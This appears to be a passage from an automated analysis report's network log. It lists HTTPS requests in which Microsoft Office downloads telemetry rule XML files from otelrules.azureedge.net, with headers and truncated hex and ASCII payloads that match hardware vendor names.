2024-11-30 21:53:42 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:42 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215342Z-174f78459685m244hC1EWRgp2c00000011tg00000000e1t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:43 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.9	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:42 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:42 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 9cdeab1e-301e-0000-22b2-42eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215342Z-174f7845968xlwnmhC1EWR0sv800000011vg000000008amt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:43 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.9	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:42 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:42 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 33ff7c98-601e-0097-063e-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215342Z-174f78459684bddphC1EWRbht400000011t0000000006yfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:43 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.9	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:42 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 5505dc9c-501e-00a3-721c-41c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215343Z-174f7845968pght8hC1EWRyvxg000000057g000000003xeb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.9	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:44 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 270b7582-001e-008d-0fb3-42d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215345Z-174f78459684db9fhC1EWRc7g4000000020000000000b3st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:45 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.9	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:44 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215345Z-174f7845968j6t2phC1EWRcfe8000000125g000000009b9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.9	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:44 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:45 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 212faeeb-901e-00ac-0ca8-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215345Z-174f7845968glpgnhC1EWR7uec00000012800000000030gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:45 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.9	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:45 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215345Z-174f7845968zgtf6hC1EWRqd8s0000000uvg00000000mhtv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:45 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.9	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:45 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:45 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 957c193a-901e-008f-36b3-4267a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215345Z-174f7845968xlwnmhC1EWR0sv800000011ug00000000bfav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:45 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.9	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:47 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: f574bd00-e01e-0003-411b-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215347Z-174f7845968xlwnmhC1EWR0sv800000011v0000000009bm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.9	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:47 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:47 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 4b7a7cb4-201e-000c-0405-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215347Z-174f7845968cdxdrhC1EWRg0en00000011v000000000n84p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.9	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:47 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:47 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215347Z-174f7845968glpgnhC1EWR7uec00000012800000000030mq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:47 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

